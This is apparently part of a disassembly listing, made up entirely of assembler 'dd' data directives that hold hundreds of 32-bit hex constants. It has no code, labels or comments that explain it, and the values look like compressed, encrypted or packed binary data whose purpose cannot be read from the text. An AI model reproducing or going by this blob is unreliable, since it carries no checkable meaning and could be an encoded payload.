dd 2784BE4Ch, 0A1549FAAh, 4251FCE6h, 911E2F0Ch, 0EC284822h
dd 0A6F95684h, 58D45A86h, 0BDD86B81h, 0FB423C08h, 0C8987E10h
dd 0E43EAEFAh, 0E7E2BA3Ch, 9998DE12h, 0BF10153Eh, 8C3BE739h
dd 0C88A9A64h, 9A36747Bh, 4E24843Eh, 373D4457h, 7DD21DBBh
dd 944C84BEh, 7CDCAF08h, 3A53BEF4h, 0F12FAC5Fh, 805898EBh
dd 22DC4A68h, 6949F949h, 0BF124953h, 67FE4B46h, 89B5D469h
dd 7097FC5Bh, 26AE4BE1h, 5CFAE32h, 5FE39E12h, 0C11CF25Fh
dd 958EE8E4h, 0D39CF914h, 977C62BAh, 483BA6FEh, 0BC48B37Bh
dd 80790464h, 0B06827BDh, 5D391C90h, 4677EC4Ch, 2916B281h
dd 50847728h, 583F4AEh, 7459FC62h, 888A2109h, 1EEDB19Dh
dd 0B6FA7608h, 5E01428Dh, 2FDEEDB3h, 0B942B1D9h, 4531F5AAh
dd 887F0D34h, 0A48156B1h, 9D78187Dh, 0B9AFEEFBh, 0F3386496h
dd 0E8244294h, 42E0971h, 2552144h, 9A981425h, 610B5820h
dd 5D73E046h, 576E1949h, 1C76D12Fh, 5F9D08C1h, 9A7BE696h
dd 0E2FFDE34h, 3419FD38h, 6F3322DEh, 84FAF038h, 25F3CB28h
dd 3B27B878h, 82D21C94h, 6AEF76A9h, 7D00BE1h, 0E8532390h
dd 11B79FFEh, 987CE4C2h, 4A963C90h, 4B71A686h, 89854978h
dd 0A9B7122Fh, 0C43F2558h, 24CCCBC8h, 0A32D1174h, 3BC0A6Dh
dd 0DC5E3365h, 899F7842h, 24195D08h, 0FBDA4870h, 0FA227325h
dd 9EA7F119h, 54236A76h, 0E416E7BBh, 527AC7F6h, 0E85E6D99h
dd 0E3AE6E59h, 0C73B0574h, 8B3F77C0h, 0E0B9DC7h, 50EDBF7Ch
dd 44655DEh, 1090054Ah, 4ABC7D83h, 0D0A4C101h, 0BB0513C0h
dd 860F6388h, 4984957Ch, 87624810h, 93FDDA32h, 1101ABE1h
dd 0A1BA4974h, 22FF449Ah, 40D77512h, 546857F6h, 8A473540h
dd 0E5894EB5h, 920F146Dh, 5BF25C62h, 3B312889h, 3F36212Bh
dd 0E0532D64h, 63F30F5h, 1241C71Dh, 3294D8EEh, 723A02E9h
dd 1383089Eh, 0E75F15C8h, 0F52886D8h, 25FF0D82h, 846A8A17h
dd 44557A9h, 94BD8A31h, 785BC81Bh, 0C986F1F6h, 4C82ECB8h
dd 0C0A022Fh, 64275145h, 0BBC47D79h, 0BEC3ADB2h, 286DDFFCh
dd 0B097D0Ch, 16600DDCh, 1CB913F7h, 69515025h, 85152348h
dd 8BFB868h, 42A63E7Fh, 23FC5FA4h, 0D46F6CD4h, 0C07D848Ah
dd 0A6F8A0AFh, 0AE056A88h, 9806B5EBh, 7092ABACh, 0CC28C84Ch
dd 8A8640D0h, 7C15D64Fh, 93C71577h, 4365BCF6h, 82219C6Ch
dd 13DE924h, 2844E0B5h, 0A935E31h, 1B6BF4F1h, 7AC18C3Bh
dd 98378FA7h, 0EF44C481h, 8D2E92CDh, 8A510900h, 15BD893Dh
dd 29BF3313h, 28DD34C4h, 47353E85h, 0E31AFB1Eh, 0CC48DA2Fh
dd 66CF1C54h, 206BB5EEh, 0AF3C710Fh, 3E1210E1h, 0E80D09A3h
dd 8461DCD9h, 42111418h, 68122B8Ah, 0C02D2D8h, 94FC03CEh
dd 0B1101CD4h, 0F72928Eh, 0D0AF24BCh, 27EFBC08h, 3AF1BC58h
dd 19816575h, 5B389022h, 0B002EAB4h, 5CC93304h, 7E080FAFh
dd 60158AC2h, 30011F56h, 3B410114h, 0F07C2184h, 79F7AAC3h
dd 65B6291Bh, 0C8BF508Eh, 72C1950Fh, 3A19958Bh, 8F523A38h
dd 0BF324BD1h, 0ABC3522Bh, 0A26733C2h, 7A5D8BA1h, 0EE8D4CC5h
dd 0FED0226Bh, 6BE0EAEFh, 1882AFC1h, 1830040Dh, 24460688h
dd 51C0B02Fh, 89C20BD8h, 740C1355h, 6AB2A016h, 59EA1EBAh
dd 0F9F79906h, 270D285h, 462C06C6h, 5CC2C2EBh, 0E8AE560h
dd 4008880Bh, 7800FD4Eh, 0F373F13Bh, 7512629Dh, 195D82B2h
dd 8312B402h, 34E12363h, 0CF2BFD48h, 6210832h, 50F0418h
dd 0CFADB806h, 2895BC5Fh, 784306C1h, 68907021h, 586460C8h
dd 18C73224h, 0A42EC6F4h, 10C80637h, 40F420F0h, 0A125FCF8h
dd 666E5450h, 0F02DFC11h, 0F0F66451h, 0FA87BFE8h, 0BCD0340Ch
dd 8A06CB76h, 893D54F5h, 0D9A5F3F8h, 198421Ch, 95475A13h
dd 89FEF86Ah, 7D63E959h, 4E596DF7h, 0A923E16Ch, 840B41C4h
dd 647F44A6h, 32F41EF0h, 8D41B97h, 458864FCh, 29B4BB53h
dd 9C10D96Ah, 0D2442EECh, 0C512B4F0h, 0DA44FB11h, 19B48CBFh
dd 49539FBEh, 79316816h, 628EAE8h, 3D63188Dh, 31BF8AB7h
dd 0A55D5544h, 4FC884ECh, 2FC79C3h, 11E062F8h, 681C2E27h
dd 8C9C0CEFh, 2FEB5B06h, 8EDB84BEh, 38104D66h, 3344C47h
dd 0F632711Bh, 1A510D8Fh, 0F242606Ah, 1B308AB5h, 8CAB84DBh
dd 7083142Dh, 8DFD5A66h, 6C49AD8Ch, 85FDE083h, 69867A38h
dd 65D03980h, 0B17E6851h, 93B15832h, 0E29A63Eh, 3F532475h
dd 4C25FE94h, 9BA67818h, 81CB7FE1h, 8394E510h, 4134EB14h
dd 0BC2F412Ch, 466DE6C8h, 519821C8h, 29200CAFh, 2716016Ah
dd 0DC0E9367h, 0D82B1467h, 0B6EC774Ch, 1DDB4964h, 0A00056A5h
dd 0BFBA90CEh, 1210B86Dh, 5FEB8ADFh, 85E034E6h, 3843FA9Fh
dd 0E902708Dh, 896DACE8h, 0F5570F50h, 7C381448h, 74F70E1Fh
dd 0BAF36832h, 92D72221h, 12B7633Fh, 0C94928E5h, 5627FE43h
dd 308D2011h, 590B01D0h, 0F7751E38h, 9815A902h, 77B81A7Fh
dd 25C1E30h, 4B719084h, 0B56FAC35h, 0B8ACC82h, 6105932h
dd 604B1D8Bh, 97D3648Ch, 0C389BC45h, 610C548Eh, 91565EACh
dd 0DA44B51Dh, 4E757F89h, 4ED2B6BEh, 0EFF8C325h, 23D1A34Eh
dd 0DC7D0BD8h, 0A8450ACEh, 3ABAE16Eh, 0B23AD999h, 4EAC2F5Bh
dd 4E179817h, 272CC428h, 0F94BC824h, 8E64A529h, 4A98D34Dh
dd 4C7B68E3h, 669DA6D6h, 0C70C3E2Eh, 44BDB080h, 4FA3DBAh
dd 0A364241Ah, 88C2219h, 0AF0F5157h, 8888AAFBh, 8271A809h
dd 27FBD6ADh, 0C48CDC60h, 76A5404Eh, 2F35A294h, 25892877h
dd 0A642B707h, 57450A2h, 0D98541h, 0AA4C358Bh, 51DBFC66h
dd 0D7F13BA3h, 20ED21A0h, 59768DA0h, 7BC34E26h, 0FFEFE2A5h
dd 30680721h, 0FED66F75h, 69B4A47Bh, 95E1EF2Ch, 3D0F8928h
dd 9D37FA02h, 9CB8FB0Bh, 549FF77Ch, 0C655D210h, 34851070h
dd 0BD801404h, 0F6C35E1Dh, 331B0F21h, 7D0C8AC0h, 21C83C1Fh
dd 8857AB11h, 454AFC10h, 0FDFD1450h, 0BC775312h, 317BF925h
dd 94F90C43h, 9325530Fh, 0AB6B2A47h, 0F1DA1C0Ah, 0F319347Bh
dd 91ED15B3h, 34299F60h, 59302632h, 0E94A3B28h, 0B7972252h
dd 46AB3DE0h, 84F1F9BDh, 0C1563174h, 3240E80Ah, 44C76F5h
dd 93233D77h, 0E498C97h, 81AE761Ah, 61C28056h, 2581FE88h
dd 4C1FE847h, 0F8143B21h, 0A6BCDD72h, 0FE182510h, 4508674h
dd 0C4F7BE8Ch, 0D92AEF18h, 8FEA1823h, 6811240Bh, 9522EB81h
dd 589FA266h, 562D645Bh, 0AAD8620h, 0A623E9E7h, 3A199430h
dd 0B73F4758h, 5E182594h, 6AC9C819h, 943D24B4h, 0E8CE65C9h
dd 1EA8D42Bh, 76A420Dh, 0D5445D9Ah, 2353E420h, 9C108BEEh
dd 52E01D64h, 0D62DD21Fh, 24DBA456h, 88A81334h, 0D49F7587h
dd 6ECC185Fh, 50811120h, 10A1492Ah, 1B1CCA26h, 6DA18D71h
dd 88E15D51h, 2F6780Fh, 43324468h, 8B1CE8A2h, 0CAB74D71h
dd 4ED2BBCDh, 1D534E68h, 352829ECh, 27042DDCh, 0F4282FEDh
dd 0D0D12518h, 0F4CEE464h
dd 0D80AE834h, 549B5396h, 503D8302h, 29740B6h, 0A143187Eh
dd 70FF1154h, 17E80413h, 1FFF9A94h, 67561332h, 5A667B85h
dd 58392088h, 19740812h, 35E42BF8h, 18B7E035h, 0F4A855D7h
dd 0F241C23Bh, 2C62002h, 1E6C0D75h, 0E9A2C083h, 1C7C3446h
dd 0A6186880h, 234A5DD2h, 2A125329h, 42B1832Ah, 18630D1Ch
dd 4B1BE792h, 0B53F0B80h, 0E81AC7BDh, 0FAC3559Ah, 7F6A0B06h
dd 0EABD8468h, 1347B2C4h, 44341D89h, 0BCCEE84Ch, 40A118CFh
dd 183F6A2Bh, 22AA44BFh, 19D79468h, 1C4073F8h, 2E108BB2h
dd 988B84BEh, 0A8A0E799h, 48644625h, 0B1571878h, 38A602BFh
dd 893B1611h, 98C1024Eh, 76595FEh, 77EB8D8Ch, 6857F72Ch
dd 0C8DE45D8h, 258F813h, 0BE84856Bh, 1700E98Dh, 4FF0374h
dd 0B868FC4Dh, 4B678B0Bh, 637D3C0Eh, 6CA77C06h, 9552580Ch
dd 2B2DB084h, 42B94074h, 0B39C1BE8h, 410AE8Dh, 0F7C4A9D1h
dd 0E82422A1h, 9255E96Ah, 1D381B14h, 0A2362FA0h, 0FB991949h
dd 0A1CF110Bh, 0B0104423h, 0CA1B8E1h, 0AB4686B4h, 0F4257F48h
dd 5E94323h, 54E88909h, 9DA04E85h, 1012AB73h, 901661B3h
dd 21CEF701h, 4A709159h, 6011A3EDh, 8DA29601h, 6D890684h
dd 0C977F22Fh, 6D66FFF2h, 266A9AA2h, 0F445BADCh, 0C424B816h
dd 0D4B44AEEh, 88CB0D3Bh, 0FF21C21Bh, 0AD562835h, 0FA684E0Ch
dd 779C7846h, 0FAF864F7h, 0C16AA8CCh, 0E0051B6Ah, 44A502Ch
dd 22A0EB1Ah, 78EDD528h, 0A028F014h, 97B08910h, 0F09367F1h
dd 75A838AAh, 8A961C7Ch, 875270C5h, 0A22FAE3Dh, 39A34760h
dd 43323168h, 25A6E598h, 0BCFD2794h, 0F346F24h, 12B5E9h
dd 4E5D8309h, 0A63E70E2h, 1AA7828Bh, 0EA785F5Eh, 8337E964h
dd 977B54BAh, 0F10DBB12h, 8152F294h, 55FED428h, 3FE8CC1Eh
dd 589F49ADh, 0C212813Ch, 0EB928104h, 0FFC83BF6h, 0C501E11Ah
dd 5DD96E8Fh, 5D93053Fh, 4DCCEEF8h, 18882F59h, 4912BD64h
dd 0F209F675h, 1560902Ch, 0A907A368h, 0E32E329Ch, 5F8B13FEh
dd 149C62EBh, 0AFE3B264h, 76006176h, 0E6920128h, 8935696Eh
dd 0EB5F983Ah, 0C57EBC86h, 0D5619860h, 5912609Ch, 0FF9294F2h
dd 971BB23Ch, 59B57494h, 9E76C9C8h, 4930D7CBh, 7D8BE5F0h
dd 0E9875A8Bh, 0D3E5C954h, 0E586BCEh, 0FF2DCD6Bh, 4C1DE628h
dd 0CC7DB958h, 4E343BFDh, 7E2944ABh, 174DC4B5h, 6A0B191Fh
dd 0BF892B24h, 8B7D52A7h, 7B3BFDDBh, 9E202C27h, 2437FEC6h
dd 626D4DE8h, 0A255482Ch, 470D7E50h, 0BDEB80C4h, 74FDFE83h
dd 0DD0A296Eh, 83541C50h, 9AFAA44Fh, 4C7277Bh, 0E0064EEBh
dd 43E9997Ch, 40C48125h, 11A836E1h, 4E587827h, 8495AD2Eh
dd 494427D4h, 4EBE108Eh, 815578B2h, 0A19A55E6h, 86C7DF07h
dd 34A4D58h, 0E6F0C4C8h, 1B5C6B9Dh, 0BD0CEDEAh, 0E8882818h
dd 97864C12h, 68C45C99h, 0E3188AA0h, 0F79E5109h, 6A5DB819h
dd 0F7F4570Bh, 0DE2C2E98h, 0E79E6E91h, 0E4E5260h, 0A65D5625h
dd 8457263Eh, 0C681210h, 15A02267h, 0AB821B5Ah, 92502419h
dd 3622DC11h, 170A76FEh, 0CA50AFBEh, 0E8329811h, 0F39D5B4Bh
dd 89341666h, 472513F2h, 386FA3F8h, 0BD84C527h, 87590F49h
dd 7C402070h, 0A2B58BEAh, 8929880Eh, 390D6B11h, 911D709Dh
dd 0E64A5F18h, 0F6A0107Bh, 30324ECFh, 5A1F6AC2h, 958C8D14h
dd 18B1233h, 26041DF8h, 872D3880h, 2584396h, 0BE0F1FA8h
dd 89017001h, 3584C619h, 57AA3147h, 4F970E49h, 2067858h
dd 0CA79284Ah, 0FC47648Ah, 7E57F113h, 0E4198F16h, 6080E16h
dd 0F82C2791h, 0A3E8007h, 9FC435B5h, 99F40192h, 0D51732BAh
dd 17B58346h, 5261FFDCh, 25A120E8h, 13AE2C0Ch, 6EBF91F4h
dd 7F20089Ch, 15044956h, 0BF885050h, 44329F53h, 0C6C191B5h
dd 684F7A82h, 187D66F8h, 825C8FA8h, 0AD28DF84h, 5DB84B77h
dd 975C75Eh, 0E86830B0h, 6E4521A6h, 65E90A34h, 588B37A4h
dd 0F394AE40h, 46FA4240h, 5A105487h, 842A7783h, 4AC8E542h
dd 298DE466h, 8215D0E8h, 78682A75h, 3B86A0A8h, 6A2DE844h
dd 9B7FB89h, 0A25C404Dh, 24AC2149h, 0BA4C55E8h, 39EB320Ch
dd 9511E076h, 532F170Ah, 2824D869h, 0E172EEE8h, 0D4F50847h
dd 5BC5A971h, 8B091C08h, 4AC2E9C7h, 0C9F9436Fh, 0D19A2C85h
dd 9255B702h, 0C941B24Dh, 5458416Fh, 5C44C80Ah, 3240191h
dd 2E8D1471h, 0E4D97514h, 7F84CCA2h, 0A30F7316h, 542185C4h
dd 51402C45h, 48741E38h, 9FF19376h, 48F66B9Bh, 742B7822h
dd 9E29E15Ch, 9986D242h, 1248446Fh, 0A61E4B88h, 98681BBCh
dd 704076C7h, 23A7E182h, 0BD5BB7DCh, 0D37131C4h, 1B5D5AF2h
dd 97DFD3F0h, 0A988B1E4h, 8FA22C4Dh, 120E4A77h, 6F0B9067h
dd 25A7AD86h, 28DBA4D7h, 1889C491h, 0A8CCC622h, 0A024E995h
dd 80449350h, 32B83D22h, 8B810127h, 0DF919F28h, 42E04028h
dd 24434C08h, 12582F2Ch, 3A528E86h, 216A1613h, 0D69D9082h
dd 7424E1D4h, 5AC0B023h, 65C6027Eh, 22474006h, 829088A8h
dd 0DAF25724h, 513933F3h, 4D5F587Ch, 0AC750816h, 742CD302h
dd 1BB1AA25h, 38E2B751h, 0F686A18h, 5442CB8Dh, 974B469Ah
dd 8BC17676h, 0DC70207Dh, 741F1538h, 0AED98F13h, 74344C83h
dd 81460E0Ah, 0AC2C5CC7h, 0DD7C0201h, 9D4ECEEBh, 8615121h
dd 0D7FEB774h, 0BB2D3F13h, 33B0748Bh, 93BD0315h, 77A17EDBh
dd 0C140749Eh, 3307E632h, 0AF78903h, 0EAA01497h, 10810E2Dh
dd 84FCC43Ch, 0E88534B9h, 0CCBE59B5h, 15996BDAh, 18A7090h
dd 84115182h, 42676422h, 6184F004h, 0AF4A2775h, 34FF1216h
dd 0D5AE04E2h, 1E537284h, 8588DE59h, 4E046C68h, 8A8A84B3h
dd 343F8E36h, 0C2D47C48h, 0B19BE810h, 0CD240955h, 0AE01E0C7h
dd 3868301Dh, 56DFE96Fh, 2015B8B1h, 1C880BC3h, 505B5E06h
dd 2284FD28h, 41264366h, 97703C80h, 740CD0DDh, 3F1161DDh
dd 99F7F85Fh, 262C93EAh, 8B252743h, 36400A11h, 0C6E90A7Fh
dd 0BEC134FDh, 1E2265FCh, 0D910A29h, 819F4BFh, 1CA438D0h
dd 83F3E280h, 6226538Eh, 1465F011h, 0A1D683DDh, 0D76954BBh
dd 6911582Dh, 2619A1AFh, 0B0BB9E32h, 56638422h, 9C651601h
dd 4D1672A5h, 78459866h, 0F724B5CFh, 42147A3h, 10C8AE24h
dd 2F024BBh, 0BC8D0202h, 12745135h, 0A837F107h, 3EA1F8FBh
dd 2D804B5Dh, 0B4D248EEh, 429BA635h, 624221E0h, 4429029Bh
dd 65DECF91h, 5A402795h, 8AF1BDBFh, 27F7BC88h, 7EF92882h
dd 0D2B119A9h, 0E51448A8h, 947C458Ch, 8492849Eh, 4546F940h
dd 0A02C120Ch, 0C252FAF7h, 448C5A20h, 97F4E8F8h, 2A9213BFh
dd 4027483Ch, 9F34CF8h, 6A251E14h, 42A0BD28h, 0C3843265h
dd 6A129053h, 391EC912h, 44460A76h, 2F09E76Eh, 684140E9h
dd 2768A520h, 9CF6B9BCh, 1F458D71h, 8FCDEABh, 93F2984h
dd 631E7DE9h, 12824223h, 2A99FB75h, 1A740342h, 4859107Fh
dd 54408364h, 0C948E811h, 7F05A2DAh, 590C9769h, 667D59D6h
dd 556664EAh, 63A5E45Fh, 4A3A3674h, 1A31A718h, 26FAD4C7h
dd 654EBB24h, 97A78DD4h, 4BE30A26h, 0DF3CE55Eh, 23890491h
dd 6EB12BFh, 32EEC73Dh, 0C253C45Fh, 94685771h, 9321AF44h
dd 0ED0A4481h, 7F8D2878h, 2339801Dh, 0EAA166CBh, 69025DAAh
dd 3806C330h, 505616F6h, 65C70B51h, 55BAEEB0h, 147868D3h
dd 1065425Ch, 83E17D2Dh, 925028DAh, 8B850071h, 4472E5A9h
dd 0E4588501h, 0BF38E9F5h
dd 54ED4149h, 850D8648h, 868A9CA0h, 1873504Ah, 0E61F751Ah
dd 3880193Fh, 15661E23h, 3C322BACh, 6ADDE969h, 6C57D96h
dd 2B509D09h, 1F85579Ch, 27986D22h, 29B74872h, 8E0B9F64h
dd 60C3547Ch, 0B7E946F6h, 0E1B61E4Ch, 8C1164DCh, 33100A80h
dd 1788E501h, 0E8130B6Ah, 0B15D795Bh, 9B14DF87h, 4DF65AADh
dd 387C3413h, 814291B1h, 9443CEB8h, 0A85368E5h, 0DA26B4A6h
dd 1371AA7Bh, 8768F01h, 59E28534h, 762D3FB4h, 86605982h
dd 315CE9B3h, 413DA536h, 4BFEE2E9h, 18681485h, 8C362226h
dd 63D02211h, 13A2545h, 1488D7Ah, 53AC08Ah, 89F1A2B5h
dd 0AE17410Fh, 903FC648h, 47C862CBh, 1EE37D89h, 84387FDAh
dd 91504125h, 0E815C430h, 10C8152Ah, 750B62ABh, 21D5B41Ah
dd 0E6427F08h, 305D234Fh, 58DD1222h, 1D270F33h, 8EFC4B7Ah
dd 9827F29Dh, 94284B55h, 7A3FA25Fh, 7ED5E816h, 81154471h
dd 0FD5930A7h, 2C3D3B0Ah, 75DF7C09h, 0B6D004CAh, 5D6283BCh
dd 0B2B45980h, 0ACA202FAh, 0BA910D8Ah, 3181E669h, 49024888h
dd 312870Fh, 0B79D8F8Dh, 4B932E3Ch, 0C15143h, 89871293h
dd 0E5E8F770h, 0BC9C0F10h, 7C8D2840h, 81AC5535h, 9D69778h
dd 0A9116324h, 99853B31h, 0CBDFA8E2h, 0B27D7FECh, 75615DBFh
dd 0AC08A11Fh, 4820908h, 0FF44501h, 5877CB55h, 2DE8F240h
dd 0A2307FC8h, 3AA55044h, 7CBFA689h, 2FEB4386h, 2B52707Eh
dd 26A1718h, 0E88396BCh, 0C9619297h, 0EE5D8812h, 8673314Eh
dd 4D3B187Fh, 4EF1210h, 28A53610h, 3901B8Fh, 0B22FA482h
dd 0F88B14D1h, 18B8E2ADh, 908D7984h, 8B19B03Fh, 1459BC07h
dd 16E25F13h, 90B0C19h, 89C7B27Fh, 25D7EC8Fh, 1A98848Dh
dd 0F248A38h, 0A6B453Ah, 2816D9C7h, 2CE03B32h, 5ABF187Eh
dd 63B411DBh, 0BECE1343h, 0A9AC5D38h, 0CC15BC12h, 0A454680Ch
dd 5389AB11h, 81F496C6h, 5A066898h, 8F229843h, 7E058783h
dd 90681C75h, 8A7E1148h, 210B88BFh, 0E97C1FA6h, 0E4E98EC3h
dd 1111291Ch, 18AB506Bh, 514C890h, 0A0CF046Ah, 0A59156E8h
dd 846809F8h, 90A40918h, 8042D5B6h, 301481BDh, 948097Ch
dd 167E0A39h, 6428036Ah, 911D3180h, 2143642Bh, 737DAD48h
dd 127E1511h, 0BF9C8811h, 99B88A4h, 5C0411EBh, 606A0478h
dd 800113FDh, 558820C2h, 432349ECh, 4C14EDB4h, 82948007h
dd 560C6A10h, 787550E0h, 0A6A050B1h, 0B8A064Bh, 0AFA20A5Fh
dd 0EB542D96h, 905886CAh, 0D81882BDh, 949F7D93h, 3B146B9Dh
dd 0EE470BF5h, 211F83A3h, 10217378h, 649F942Fh, 0A8BF295Fh
dd 557B29Fh, 8973BCACh, 0A49D5120h, 1180827h, 693C70A7h
dd 29572F95h, 3A4D0AA0h, 40B17D9Dh, 21418D84h, 0E922E47Ch
dd 0CB3B0882h, 0F5BFDB40h, 0C11F8B92h, 0F8648903h, 7416DC26h
dd 7B4BF471h, 0C2DC3D0Ah, 36156C21h, 64C7C815h, 16212260h
dd 58219043h, 98B70C10h, 0F7214C64h, 0C8100A7Ah, 4444884Ah
dd 86B32CE2h, 0CD213842h, 30328F64h, 790BB811h, 21244286h
dd 496862A3h, 8E081C11h, 0C8539085h, 2C79440Ch, 442863Eh
dd 29646421h, 1262F031h, 0F321164Fh, 88E01047h, 0CDE593Ah
dd 254784CCh, 7E29E651h, 68116A81h, 0FE33BAC4h, 99E90BC5h
dd 42A02948h, 111579FCh, 44908806h, 11803270h, 3C80AD3h
dd 472274C4h, 0AA086C19h, 4A856985h, 54290860h, 40321E44h
dd 0C90A8111h, 29500810h, 0F5842010h, 11142246h, 0AC20A58h
dd 0FC100868h, 0CCC8961h, 2F12F7ECh, 1B0B9215h, 0D4AA3324h
dd 32A32984h, 0A0611C4h, 0B2880FCBh, 88AC1029h, 219C647Ah
dd 890A78DDh, 291A080Eh, 51888410h, 0B4227464h, 67049215h
dd 10296A1Fh, 4454C828h, 0F5B1748Bh, 11481512h, 0EB100B76h
dd 4E388845h, 19C1B290h, 854C082Ch, 20C8AC90h, 7D7C3745h
dd 44687B17h, 54840861h, 44F829ABh, 64850E60h, 335AC619h
dd 0B1526A3h, 212982E9h, 77E508D4h, 59084C54h, 84BC2940h
dd 0B0215943h, 90D0BC11h, 0A8940321h, 62A72115h, 9C1144EEh
dd 90859208h, 4494C8B8h, 86A32C7Dh, 85768842h, 80C86C90h
dd 572C5344h, 21704286h, 0E8F9673Eh, 29226444h, 21E44316h
dd 0B2141058h, 8501991h, 887642FFh, 2248647Ch, 304316EAh
dd 0D5104021h, 34191BB2h, 7538FE09h, 5A97F641h, 0B8CF91BCh
dd 3B2FBF04h, 5FCC9D05h, 41D9D1EDh, 687280E8h, 33EEA45Ah
dd 56CC7405h, 4B22DE81h, 0E982142Ch, 25F2F5D4h, 575FBC22h
dd 0D610676Eh, 15B08A41h, 0C1C8423Fh, 4422A464h, 21894316h
dd 0B22F109Ch, 8941974h, 7088851Ah, 228C4440h, 5B431605h
dd 0F0087C21h, 0C2A5175h, 0DB428470h, 646415C8h, 0F416C622h
dd 5C42843Fh, 506FB121h, 9C4450C8h, 4286712Ch, 64872148h
dd 113C325Ch, 0D210B72h, 5D883490h, 843EF858h, 48212842h
dd 113DC162h, 85330820h, 14C8AC90h, 6D2C1E44h, 210C4286h
dd 37586409h, 74F44208h, 3CBC2114h, 905EF808h, 19A7B2DFh
dd 85CA08E8h, 0E0C87590h, 602CB544h, 21D04286h, 323264A0h
dd 0B8B11C8h, 0BC901D21h, 0C1587688h, 0B042843Bh, 0AC646121h
dd 4C11A032h, 8B99331Dh, 5E918407h, 10B1884Eh, 808A41C0h
dd 0A2231029h, 8EC97F76h, 4CD52B1Ah, 245ED108h, 48A27080h
dd 0D8144B84h, 47268DECh, 6888BA01h, 0F3ECA75Eh, 0DA260F8h
dd 6F6FE641h, 0C1220B8Dh, 41A461E2h, 0E612E824h, 872C5280h
dd 882EB110h, 739C4220h, 0A621C594h, 8A18103Ah, 91E41587h
dd 72110832h, 8851210Bh, 42BA5DFCh, 0EC643CC8h, 21164822h
dd 0E01039F7h, 0E2593388h, 4284D00Ch, 6493C81Eh, 160922C4h
dd 0B4217E43h, 5072F408h, 428437CFh, 64DF21A4h, 119432BAh
dd 6D100BCAh, 10E19D36h, 1958B2B5h, 85A00870h, 4E334488h
dd 598B8830h, 2CAC142Fh, 0D18B7023h, 0AD19FFECh, 6526425Ch
dd 0E132F616h, 541784C2h, 47164E22h, 104821D1h, 399AB237h
dd 85200840h, 34C88391h, 562C0944h, 102C428Eh, 3FA271F2h
dd 0DB082439h, 31F48885h, 0C4221CC4h, 21DD4716h, 0B2AD100Ch
dd 22843B16h, 0FF231696h, 5CF40830h, 3DB27F90h, 0DA09EC39h
dd 21264716h, 0B15110DCh, 0D0182FC4h, 0C83A4284h, 22C4E4ADh
dd 81471623h, 0C10BC21h, 0B0396AB2h, 7042F508h, 0A8E42988h
dd 4716DE22h, 10982112h, 2ED6B1C7h, 42849018h, 0E4BFC8B0h
dd 16992288h, 80214947h, 32B28210h, 6B086C39h, 2DEF8885h
dd 542264C4h, 21D84716h, 0B23D1054h, 8483966h, 4F918526h
dd 0F04F3CC8h, 343901B2h, 6F42F808h, 672CEA84h, 2CE14478h
dd 212B46F3h, 0B2CA1024h, 81439DCh, 0AA9185B3h, 9C440CC8h
dd 0E18E932Ch, 88858508h, 0F8C22A90h, 2C6E245Bh, 0EC428E79h
dd 0EE625721h, 40421E29h, 0E4E4D7C8h, 6C59C827h, 4284DC1Ch
dd 0E455C812h, 6EFB21CCh, 28B9110Ah, 0E444C488h, 428EA22Ch
dd 4ECD21BCh, 88013585h, 15A3B8D3h, 84EF2DACh, 62186A07h
dd 0B7546793h, 1DC60A65h, 50E91041h, 0A4C74B10h, 0AF25D939h
dd 0FC102C5Ch, 1C12719Dh, 32F808FDh, 2016F33Bh, 0BE1C7520h
dd 0E6C35B14h, 77EC4BD7h, 75095643h, 72448B06h, 982596B8h
dd 84B4D3FCh, 0F96F9EE8h, 0EC1BD303h, 192213C9h, 0C8C1A26Ah
dd 64CE0918h, 273E7953h, 21C14EFDh, 0D088FC94h, 0FD18D024h
dd 5AF0C28Dh, 3401A922h, 89FD2421h, 8D440F8Ch, 47BB5A44h
dd 7765746Dh, 0FE44532Bh
dd 6FBC6648h, 860B7EC6h, 6622A042h, 0A80C690h, 4C930F46h
dd 213A5814h, 8E6E6481h, 156C294Ch, 2249748Ch, 5B1C44E4h
dd 71381485h, 6594AC8h, 0E8101A0Ch, 8E265D7h, 22C2F511h
dd 0D52259C8h, 2450C0Eh, 0A2916648h, 0BF168494h, 57249155h
dd 6B2A5A8Bh, 0EAE8C190h, 1278276Ch, 9633C70Ch, 0EB9B2D01h
dd 26F8BDC1h, 51C657A5h, 0CAE52B4h, 6CB4211Ch, 100E9C59h
dd 60B16DF0h, 0F16B0859h, 231A200Eh, 98886320h, 21FBF8FCh
dd 0FC98088Dh, 9D284256h, 735A5950h, 0BF6E0C74h, 0E4E9C2A0h
dd 0E2BD450Dh, 854C0DCFh, 21590422h, 93466BFCh, 984697ADh
dd 10127432h, 2F821248h, 662558B8h, 5E5D1A09h, 9C508A9h
dd 0C6A68B1Dh, 0A3085DC2h, 0E1204583h, 443B500Eh, 596D6563h
dd 56D2081Eh, 11011180h, 5BCD6BA5h, 7248AD72h, 6658BF45h
dd 0F940CC2Fh, 0D0F349F0h, 0D1676409h, 0B3E9BE4Eh, 5B715CC2h
dd 0E1884866h, 923C97Ah, 7C8A122Fh, 8201E210h, 0A04E2C2h
dd 4033CCD8h, 0B13912F7h, 6740076Ch, 0C897EB04h, 21443830h
dd 2D840A28h, 364BE905h, 238C3611h, 0C46F0623h, 303261E9h
dd 0F8EB3687h, 0B33101D1h, 11281B12h, 72290AD0h, 383A02D5h
dd 2555049Dh, 5BA108DFh, 0EB5216FBh, 69B1A60Bh, 14C8DC1Dh
dd 79A8EB43h, 18046642h, 0A0881E9h, 91D8EC53h, 384C9F45h
dd 0F488EC85h, 22F69C57h, 0EC0AC050h, 0DC1F6B8Ah, 8A6A4D45h
dd 2B813534h, 0C34E39E8h, 9D464D46h, 7754478Ch, 443B064Ch
dd 8B461493h, 7413AD48h, 18C8AC05h, 22D04EBh, 464229E8h
dd 65DD509Ch, 0E9240884h, 235407E5h, 7C54B2Ah, 8752D2C4h
dd 54600AFFh, 2D561F07h, 0E8418156h, 757F69B7h, 2E19225Bh
dd 229D429Ch, 0BC4D8F4Bh, 1C0CEB71h, 2874E922h, 5C4B2068h
dd 56266E05h, 0AD4C71C0h, 2532D841h, 0D7310755h, 69521156h
dd 2232110Ah, 3B2117D0h, 74521B64h, 8B9B8D9Eh, 46E37E24h
dd 29CC5053h, 0B3898512h, 81E94C21h, 14DEFB17h, 0B8219C47h
dd 2FB2E410h, 0CD08B039h, 0C8189185h, 2CB644A4h, 21204693h
dd 0B29F109Ch, 890397Ch, 0FF888588h, 2288C41Fh, 1CF71671h
dd 5A42847Ch, 74E49AC8h, 83593827h, 2C11C61Dh, 9001230Bh
dd 5815885Ch, 428C1EEAh, 67FE1050h, 483951A2h, 9185E708h
